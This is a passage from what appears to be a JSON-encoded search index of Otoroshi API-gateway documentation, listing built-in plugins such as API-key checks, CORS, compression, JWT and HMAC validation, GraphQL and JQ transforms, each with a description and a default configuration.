\"validatingWebhookName\" : \"otoroshi-admission-webhook-validation\",\n \"meshDomain\" : \"otoroshi.mesh\",\n \"openshiftDnsOperatorIntegration\" : false,\n \"openshiftDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"openshiftDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"openshiftDnsOperatorCoreDnsPort\" : 5353,\n \"kubeDnsOperatorIntegration\" : false,\n \"kubeDnsOperatorCoreDnsNamespace\" : \"otoroshi\",\n \"kubeDnsOperatorCoreDnsName\" : \"otoroshi-dns\",\n \"kubeDnsOperatorCoreDnsPort\" : 5353,\n \"connectionTimeout\" : 5000,\n \"idleTimeout\" : 30000,\n \"callAndStreamTimeout\" : 30000,\n \"templates\" : {\n \"service-group\" : { },\n \"service-descriptor\" : { },\n \"apikeys\" : { },\n \"global-config\" : { },\n \"jwt-verifier\" : { },\n \"tcp-service\" : { },\n \"certificate\" : { },\n \"auth-module\" : { },\n \"script\" : { },\n \"data-exporters\" : { },\n \"organizations\" : { },\n \"teams\" : { },\n \"admins\" : { },\n \"webhooks\" : { }\n }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-job #otoroshi.wasm.WasmVmPoolCleaner }\n\n## otoroshi.wasm.WasmVmPoolCleaner\n\n\n\n### Infos\n\n* plugin type: `job`\n* configuration root: ``none``\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-request-handler #otoroshi.next.proxy.ProxyEngine }\n\n## Otoroshi next proxy engine (experimental)\n\n\n\n### Infos\n\n* plugin type: `request-handler`\n* configuration root: `NextGenProxyEngine`\n\n### Description\n\nThis plugin holds the next generation otoroshi proxy engine implementation. This engine is **experimental** and may not work as expected !\n\nYou can active this plugin only on some domain names so you can easily A/B test the new engine.\nThe new proxy engine is designed to be more reactive and more efficient generally.\nIt is also designed to be very efficient on path routing where it wasn't the old engines strong suit.\n\nThe idea is to only rely on plugins to work and avoid losing time with features that are not used in service descriptors.\nAn automated conversion happens for every service descriptor. If the exposed domain is handled by this plugin, it will be served by this plugin.\nThis plugin introduces new entities that will replace (one day maybe) service descriptors:\n\n - `routes`: a unique routing rule based on hostname, path, method and headers that will execute a bunch of plugins\n - `route-compositions`: multiple routing rules based on hostname, path, method and headers that will execute the same list of plugins\n - `backends`: a list of targets to contact a backend\n\nas an example, let say you want to use the new engine on your service exposed on `api.foo.bar/api`.\nTo do that, just add the plugin in the `global plugins` section of the danger zone, inject the default configuration,\nenabled it and in `domains` add the value `api.foo.bar` (it is possible to use `*.foo.bar` if that's what you want to do).\nThe next time a request hits the `api.foo.bar` domain, the new engine will handle it instead of the old one.\n\n\n\n### Default configuration\n\n```json\n{\n \"NextGenProxyEngine\" : {\n \"enabled\" : true,\n \"domains\" : [ \"*\" ],\n \"deny_domains\" : [ ],\n \"reporting\" : true,\n \"merge_sync_steps\" : true,\n \"export_reporting\" : false,\n \"apply_legacy_checks\" : true,\n \"debug\" : false,\n \"capture\" : false,\n \"captureMaxEntitySize\" : 4194304,\n \"debug_headers\" : false,\n \"routing_strategy\" : \"tree\"\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-request-handler #otoroshi.script.ForwardTrafficHandler }\n\n## Forward traffic\n\n\n\n### Infos\n\n* plugin type: `request-handler`\n* configuration root: `ForwardTrafficHandler`\n\n### Description\n\nThis plugin can be use to perform a raw traffic forward to an URL without passing through otoroshi routing\n\n\n\n### Default configuration\n\n```json\n{\n \"ForwardTrafficHandler\" : {\n \"domains\" : {\n \"my.domain.tld\" : {\n \"baseUrl\" : \"https://my.otherdomain.tld\",\n \"secret\" : \"jwt signing secret\",\n \"service\" : {\n \"id\" : \"service id for analytics\",\n \"name\" : \"service name for analytics\"\n }\n }\n }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n\n\n" + }, + { + "name": "built-in-plugins.md", + "id": "/plugins/built-in-plugins.md", + "url": "/plugins/built-in-plugins.html", + "title": "Built-in plugins", + "content": "# Built-in plugins\n\nOtoroshi next provides some plugins out of the box. Here is the available plugins with their documentation and reference configuration.\n\n
\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.AdditionalHeadersIn }\n\n## Additional headers in\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.AdditionalHeadersIn`\n\n### Description\n\nThis plugin adds headers in the incoming otoroshi request\n\n\n\n### Default configuration\n\n```json\n{\n \"headers\" : { }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.AdditionalHeadersOut }\n\n## Additional headers out\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.AdditionalHeadersOut`\n\n### Description\n\nThis plugin adds headers in the otoroshi response\n\n\n\n### Default configuration\n\n```json\n{\n \"headers\" : { }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.AllowHttpMethods }\n\n## Allowed HTTP methods\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.AllowHttpMethods`\n\n### Description\n\nThis plugin verifies the current request only uses allowed http methods\n\n\n\n### Default configuration\n\n```json\n{\n \"allowed\" : [ ],\n \"forbidden\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.ApikeyAuthModule }\n\n## Apikey auth module\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.ApikeyAuthModule`\n\n### Description\n\nThis plugin adds basic auth on service where credentials are valid apikeys on the current service.\n\n\n\n### Default configuration\n\n```json\n{\n \"realm\" : \"apikey-auth-module-realm\",\n \"matcher\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.ApikeyCalls }\n\n## Apikeys\n\n### Defined on steps\n\n - `MatchRoute`\n - `ValidateAccess`\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.ApikeyCalls`\n\n### Description\n\nThis plugin expects to find an apikey to allow the request to pass\n\n\n\n### Default configuration\n\n```json\n{\n \"extractors\" : {\n \"basic\" : {\n \"enabled\" : true,\n \"header_name\" : null,\n \"query_name\" : null\n },\n \"custom_headers\" : {\n \"enabled\" : true,\n \"client_id_header_name\" : null,\n \"client_secret_header_name\" : null\n },\n \"client_id\" : {\n \"enabled\" : true,\n \"header_name\" : null,\n \"query_name\" : null\n },\n \"jwt\" : {\n \"enabled\" : true,\n \"secret_signed\" : true,\n \"keypair_signed\" : true,\n \"include_request_attrs\" : false,\n \"max_jwt_lifespan_sec\" : null,\n \"header_name\" : null,\n \"query_name\" : null,\n \"cookie_name\" : null\n }\n },\n \"routing\" : {\n \"enabled\" : false\n },\n \"validate\" : true,\n \"mandatory\" : true,\n \"pass_with_user\" : false,\n \"wipe_backend_request\" : true,\n \"update_quotas\" : true\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.ApikeyQuotas }\n\n## Apikey quotas\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.ApikeyQuotas`\n\n### Description\n\nIncrements quotas for the currents apikey. Useful when 'legacy checks' are disabled on a service/globally or when apikey are extracted in a custom fashion.\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.AuthModule }\n\n## Authentication\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.AuthModule`\n\n### Description\n\nThis plugin applies an authentication module\n\n\n\n### Default configuration\n\n```json\n{\n \"pass_with_apikey\" : false,\n \"auth_module\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.BasicAuthCaller }\n\n## Basic Auth. caller\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.BasicAuthCaller`\n\n### Description\n\nThis plugin can be used to call api that are authenticated using basic auth.\n\n\n\n### Default configuration\n\n```json\n{\n \"username\" : null,\n \"passaword\" : null,\n \"headerName\" : \"Authorization\",\n \"headerValueFormat\" : \"Basic %s\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.BrotliResponseCompressor }\n\n## Brotli compression\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.BrotliResponseCompressor`\n\n### Description\n\nThis plugin can compress responses using brotli\n\n\n\n### Default configuration\n\n```json\n{\n \"excluded_patterns\" : [ ],\n \"allowed_list\" : [ \"text/*\", \"application/javascript\", \"application/json\" ],\n \"blocked_list\" : [ ],\n \"buffer_size\" : 8192,\n \"chunked_threshold\" : 102400,\n \"compression_level\" : 5\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.BuildMode }\n\n## Build mode\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.BuildMode`\n\n### Description\n\nThis plugin displays a build page\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.CanaryMode }\n\n## Canary mode\n\n### Defined on steps\n\n - `PreRoute`\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.CanaryMode`\n\n### Description\n\nThis plugin can split a portion of the traffic to canary backends\n\n\n\n### Default configuration\n\n```json\n{\n \"traffic\" : 0.2,\n \"targets\" : [ ],\n \"root\" : \"/\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.ContextValidation }\n\n## Context validator\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.ContextValidation`\n\n### Description\n\nThis plugin validates the current context using JSONPath validators.\n\nThis plugin let you configure a list of validators that will check if the current call can pass.\nA validator is composed of a [JSONPath](https://goessner.net/articles/JsonPath/) that will tell what to check and a value that is the expected value.\nThe JSONPath will be applied on a document that will look like\n\n```js\n{\n \"snowflake\" : \"1516772930422308903\",\n \"apikey\" : { // current apikey\n \"clientId\" : \"vrmElDerycXrofar\",\n \"clientName\" : \"default-apikey\",\n \"metadata\" : {\n \"foo\" : \"bar\"\n },\n \"tags\" : [ ]\n },\n \"user\" : null, // current user\n \"request\" : {\n \"id\" : 1,\n \"method\" : \"GET\",\n \"headers\" : {\n \"Host\" : \"ctx-validation-next-gen.oto.tools:9999\",\n \"Accept\" : \"*/*\",\n \"User-Agent\" : \"curl/7.64.1\",\n \"Authorization\" : \"Basic dnJtRWxEZXJ5Y1hyb2ZhcjpvdDdOSTkyVGI2Q2J4bWVMYU9UNzJxamdCU2JlRHNLbkxtY1FBcXBjVjZTejh0Z3I1b2RUOHAzYjB5SEVNRzhZ\",\n \"Remote-Address\" : \"127.0.0.1:58929\",\n \"Timeout-Access\" : \"\",\n \"Raw-Request-URI\" : \"/foo\",\n \"Tls-Session-Info\" : \"Session(1650461821330|SSL_NULL_WITH_NULL_NULL)\"\n },\n \"cookies\" : [ ],\n \"tls\" : false,\n \"uri\" : \"/foo\",\n \"path\" : \"/foo\",\n \"version\" : \"HTTP/1.1\",\n \"has_body\" : false,\n \"remote\" : \"127.0.0.1\",\n \"client_cert_chain\" : null\n },\n \"config\" : {\n \"validators\" : [ {\n \"path\" : \"$.apikey.metadata.foo\",\n \"value\" : \"bar\"\n } ]\n },\n \"global_config\" : { ... }, // global config\n \"attrs\" : {\n \"otoroshi.core.SnowFlake\" : \"1516772930422308903\",\n \"otoroshi.core.ElCtx\" : {\n \"requestId\" : \"1516772930422308903\",\n \"requestSnowflake\" : \"1516772930422308903\",\n \"requestTimestamp\" : \"2022-04-20T15:37:01.548+02:00\"\n },\n \"otoroshi.next.core.Report\" : \"otoroshi.next.proxy.NgExecutionReport@277b44e2\",\n \"otoroshi.core.RequestStart\" : 1650461821545,\n \"otoroshi.core.RequestWebsocket\" : false,\n \"otoroshi.core.RequestCounterOut\" : 0,\n \"otoroshi.core.RemainingQuotas\" : {\n \"authorizedCallsPerSec\" : 10000000,\n \"currentCallsPerSec\" : 0,\n \"remainingCallsPerSec\" : 10000000,\n \"authorizedCallsPerDay\" : 10000000,\n \"currentCallsPerDay\" : 2,\n \"remainingCallsPerDay\" : 9999998,\n \"authorizedCallsPerMonth\" : 10000000,\n \"currentCallsPerMonth\" : 269,\n \"remainingCallsPerMonth\" : 9999731\n },\n \"otoroshi.next.core.MatchedRoutes\" : \"MutableList(route_022825450-e97d-42ed-8e22-b23342c1c7c8)\",\n \"otoroshi.core.RequestNumber\" : 1,\n \"otoroshi.next.core.Route\" : { ... }, // current route as json\n \"otoroshi.core.RequestTimestamp\" : \"2022-04-20T15:37:01.548+02:00\",\n \"otoroshi.core.ApiKey\" : { ... }, // current apikey as json\n \"otoroshi.core.User\" : { ... }, // current user as json\n \"otoroshi.core.RequestCounterIn\" : 0\n },\n \"route\" : { ... },\n \"token\" : null // current valid jwt token if one\n}\n```\n\nthe expected value support some syntax tricks like\n\n* `Not(value)` on a string to check if the current value does not equals another value\n* `Regex(regex)` on a string to check if the current value matches the regex\n* `RegexNot(regex)` on a string to check if the current value does not matches the regex\n* `Wildcard(*value*)` on a string to check if the current value matches the value with wildcards\n* `WildcardNot(*value*)` on a string to check if the current value does not matches the value with wildcards\n* `Contains(value)` on a string to check if the current value contains a value\n* `ContainsNot(value)` on a string to check if the current value does not contains a value\n* `Contains(Regex(regex))` on an array to check if one of the item of the array matches the regex\n* `ContainsNot(Regex(regex))` on an array to check if one of the item of the array does not matches the regex\n* `Contains(Wildcard(*value*))` on an array to check if one of the item of the array matches the wildcard value\n* `ContainsNot(Wildcard(*value*))` on an array to check if one of the item of the array does not matches the wildcard value\n* `Contains(value)` on an array to check if the array contains a value\n* `ContainsNot(value)` on an array to check if the array does not contains a value\n\nfor instance to check if the current apikey has a metadata name `foo` with a value containing `bar`, you can write the following validator\n\n```js\n{\n \"path\": \"$.apikey.metadata.foo\",\n \"value\": \"Contains(bar)\"\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"validators\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.Cors }\n\n## CORS\n\n### Defined on steps\n\n - `PreRoute`\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.Cors`\n\n### Description\n\nThis plugin applies CORS rules\n\n\n\n### Default configuration\n\n```json\n{\n \"allow_origin\" : \"*\",\n \"expose_headers\" : [ ],\n \"allow_headers\" : [ ],\n \"allow_methods\" : [ ],\n \"excluded_patterns\" : [ ],\n \"max_age\" : null,\n \"allow_credentials\" : true\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.DisableHttp10 }\n\n## Disable HTTP/1.0\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.DisableHttp10`\n\n### Description\n\nThis plugin forbids HTTP/1.0 requests\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.EndlessHttpResponse }\n\n## Endless HTTP responses\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.EndlessHttpResponse`\n\n### Description\n\nThis plugin returns 128 Gb of 0 to the ip addresses is in the list\n\n\n\n### Default configuration\n\n```json\n{\n \"finger\" : false,\n \"addresses\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.EurekaServerSink }\n\n## Eureka instance\n\n### Defined on steps\n\n - `CallBackend`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.EurekaServerSink`\n\n### Description\n\nEureka plugin description\n\n\n\n### Default configuration\n\n```json\n{\n \"evictionTimeout\" : 300\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.EurekaTarget }\n\n## Internal Eureka target\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.EurekaTarget`\n\n### Description\n\nThis plugin can be used to used a target that come from an internal Eureka server.\n If you want to use a target which it locate outside of Otoroshi, you must use the External Eureka Server.\n\n\n\n### Default configuration\n\n```json\n{\n \"eureka_server\" : null,\n \"eureka_app\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.ExternalEurekaTarget }\n\n## External Eureka target\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.ExternalEurekaTarget`\n\n### Description\n\nThis plugin can be used to used a target that come from an external Eureka server.\n If you want to use a target that is directly exposed by an implementation of Eureka by Otoroshi,\n you must use the Internal Eureka Server.\n\n\n\n### Default configuration\n\n```json\n{\n \"eureka_server\" : null,\n \"eureka_app\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.ForceHttpsTraffic }\n\n## Force HTTPS traffic\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.ForceHttpsTraffic`\n\n### Description\n\nThis plugin verifies the current request uses HTTPS\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.ForwardedHeader }\n\n## Forwarded header\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.ForwardedHeader`\n\n### Description\n\nThis plugin adds all the Forwarded header to the request for the backend target\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.GlobalMaintenanceMode }\n\n## Global Maintenance mode\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.GlobalMaintenanceMode`\n\n### Description\n\nThis plugin displays a maintenance page for every services. Useful when 'legacy checks' are disabled on a service/globally\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.GlobalPerIpAddressThrottling }\n\n## Global per ip address throttling \n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.GlobalPerIpAddressThrottling`\n\n### Description\n\nEnforce global per ip address throttling. Useful when 'legacy checks' are disabled on a service/globally\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.GlobalThrottling }\n\n## Global throttling \n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.GlobalThrottling`\n\n### Description\n\nEnforce global throttling. Useful when 'legacy checks' are disabled on a service/globally\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.GraphQLBackend }\n\n## GraphQL Composer\n\n### Defined on steps\n\n - `CallBackend`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.GraphQLBackend`\n\n### Description\n\nThis plugin exposes a GraphQL API that you can compose with whatever you want\n\n\n\n### Default configuration\n\n```json\n{\n \"schema\" : \"\\n type User {\\n name: String!\\n firstname: String!\\n }\\n\\n type Query {\\n users: [User] @json(data: \\\"[{ \\\\\\\"firstname\\\\\\\": \\\\\\\"Foo\\\\\\\", \\\\\\\"name\\\\\\\": \\\\\\\"Bar\\\\\\\" }, { \\\\\\\"firstname\\\\\\\": \\\\\\\"Bar\\\\\\\", \\\\\\\"name\\\\\\\": \\\\\\\"Foo\\\\\\\" }]\\\")\\n }\\n \",\n \"permissions\" : [ ],\n \"initial_data\" : null,\n \"max_depth\" : 15\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.GraphQLProxy }\n\n## GraphQL Proxy\n\n### Defined on steps\n\n - `CallBackend`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.GraphQLProxy`\n\n### Description\n\nThis plugin can apply validations (query, schema, max depth, max complexity) on graphql endpoints\n\n\n\n### Default configuration\n\n```json\n{\n \"endpoint\" : \"https://countries.trevorblades.com/graphql\",\n \"schema\" : null,\n \"max_depth\" : 50,\n \"max_complexity\" : 50000,\n \"path\" : \"/graphql\",\n \"headers\" : { }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.GraphQLQuery }\n\n## GraphQL Query to REST\n\n### Defined on steps\n\n - `CallBackend`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.GraphQLQuery`\n\n### Description\n\nThis plugin can be used to call GraphQL query endpoints and expose it as a REST endpoint\n\n\n\n### Default configuration\n\n```json\n{\n \"url\" : \"https://some.graphql/endpoint\",\n \"headers\" : { },\n \"method\" : \"POST\",\n \"query\" : \"{\\n\\n}\",\n \"timeout\" : 60000,\n \"response_path\" : null,\n \"response_filter\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.GzipResponseCompressor }\n\n## Gzip compression\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.GzipResponseCompressor`\n\n### Description\n\nThis plugin can compress responses using gzip\n\n\n\n### Default configuration\n\n```json\n{\n \"excluded_patterns\" : [ ],\n \"allowed_list\" : [ \"text/*\", \"application/javascript\", \"application/json\" ],\n \"blocked_list\" : [ ],\n \"buffer_size\" : 8192,\n \"chunked_threshold\" : 102400,\n \"compression_level\" : 5\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.HMACCaller }\n\n## HMAC caller plugin\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.HMACCaller`\n\n### Description\n\nThis plugin can be used to call a \"protected\" api by an HMAC signature. It will adds a signature with the secret configured on the plugin.\n The signature string will always the content of the header list listed in the plugin configuration.\n\n\n\n### Default configuration\n\n```json\n{\n \"secret\" : null,\n \"algo\" : \"HMAC-SHA512\",\n \"authorizationHeader\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.HMACValidator }\n\n## HMAC access validator\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.HMACValidator`\n\n### Description\n\nThis plugin can be used to check if a HMAC signature is present and valid in Authorization header.\n\n\n\n### Default configuration\n\n```json\n{\n \"secret\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.HeadersValidation }\n\n## Headers validation\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.HeadersValidation`\n\n### Description\n\nThis plugin validates the values of incoming request headers\n\n\n\n### Default configuration\n\n```json\n{\n \"headers\" : { }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.Http3Switch }\n\n## Http3 traffic switch\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.Http3Switch`\n\n### Description\n\nThis plugin injects additional alt-svc header to switch to the http3 server\n\n\n\n### Default configuration\n\n```json\n{\n \"ma\" : 3600\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.ImageReplacer }\n\n## Image replacer\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.ImageReplacer`\n\n### Description\n\nReplace all response with content-type image/* as they are proxied\n\n\n\n### Default configuration\n\n```json\n{\n \"url\" : \"https://raw.githubusercontent.com/MAIF/otoroshi/master/resources/otoroshi-logo.png\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.IpAddressAllowedList }\n\n## IP allowed list\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.IpAddressAllowedList`\n\n### Description\n\nThis plugin verifies the current request ip address is in the allowed list\n\n\n\n### Default configuration\n\n```json\n{\n \"addresses\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.IpAddressBlockList }\n\n## IP block list\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.IpAddressBlockList`\n\n### Description\n\nThis plugin verifies the current request ip address is not in the blocked list\n\n\n\n### Default configuration\n\n```json\n{\n \"addresses\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.JQ }\n\n## JQ\n\n### Defined on steps\n\n - `TransformRequest`\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.JQ`\n\n### Description\n\nThis plugin let you transform JSON bodies (in requests and responses) using [JQ filters](https://stedolan.github.io/jq/manual/#Basicfilters).\n\n\n\n### Default configuration\n\n```json\n{\n \"request\" : \".\",\n \"response\" : \"\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.JQRequest }\n\n## JQ transform request\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.JQRequest`\n\n### Description\n\nThis plugin let you transform request JSON body using [JQ filters](https://stedolan.github.io/jq/manual/#Basicfilters).\n\n\n\n### Default configuration\n\n```json\n{\n \"filter\" : \".\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.JQResponse }\n\n## JQ transform response\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.JQResponse`\n\n### Description\n\nThis plugin let you transform JSON response using [JQ filters](https://stedolan.github.io/jq/manual/#Basicfilters).\n\n\n\n### Default configuration\n\n```json\n{\n \"filter\" : \".\"\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.JsonToXmlRequest }\n\n## request body json-to-xml\n\n### Defined on steps\n\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.JsonToXmlRequest`\n\n### Description\n\nThis plugin transform incoming request body from json to xml and may apply a jq transformation\n\n\n\n### Default configuration\n\n```json\n{\n \"filter\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.JsonToXmlResponse }\n\n## response body json-to-xml\n\n### Defined on steps\n\n - `TransformResponse`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.JsonToXmlResponse`\n\n### Description\n\nThis plugin transform response body from json to xml and may apply a jq transformation\n\n\n\n### Default configuration\n\n```json\n{\n \"filter\" : null\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.JwtSigner }\n\n## Jwt signer\n\n### Defined on steps\n\n - `ValidateAccess`\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.JwtSigner`\n\n### Description\n\nThis plugin can only generate token\n\n\n\n### Default configuration\n\n```json\n{\n \"verifier\" : null,\n \"replace_if_present\" : true,\n \"fail_if_present\" : false\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.JwtVerification }\n\n## Jwt verifiers\n\n### Defined on steps\n\n - `ValidateAccess`\n - `TransformRequest`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.JwtVerification`\n\n### Description\n\nThis plugin verifies the current request with one or more jwt verifier\n\n\n\n### Default configuration\n\n```json\n{\n \"verifiers\" : [ ]\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.JwtVerificationOnly }\n\n## Jwt verification only\n\n### Defined on steps\n\n - `ValidateAccess`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.JwtVerificationOnly`\n\n### Description\n\nThis plugin verifies the current request with one jwt verifier\n\n\n\n### Default configuration\n\n```json\n{\n \"verifier\" : null,\n \"fail_if_absent\" : true\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .ng-plugin .plugin-hidden .pl #otoroshi.next.plugins.MaintenanceMode }\n\n## Maintenance mode\n\n### Defined on steps\n\n - `PreRoute`\n\n### Plugin reference\n\n`cp:otoroshi.next.plugins.MaintenanceMode`\n\n### Description\n\nThis plugin displays a maintenance 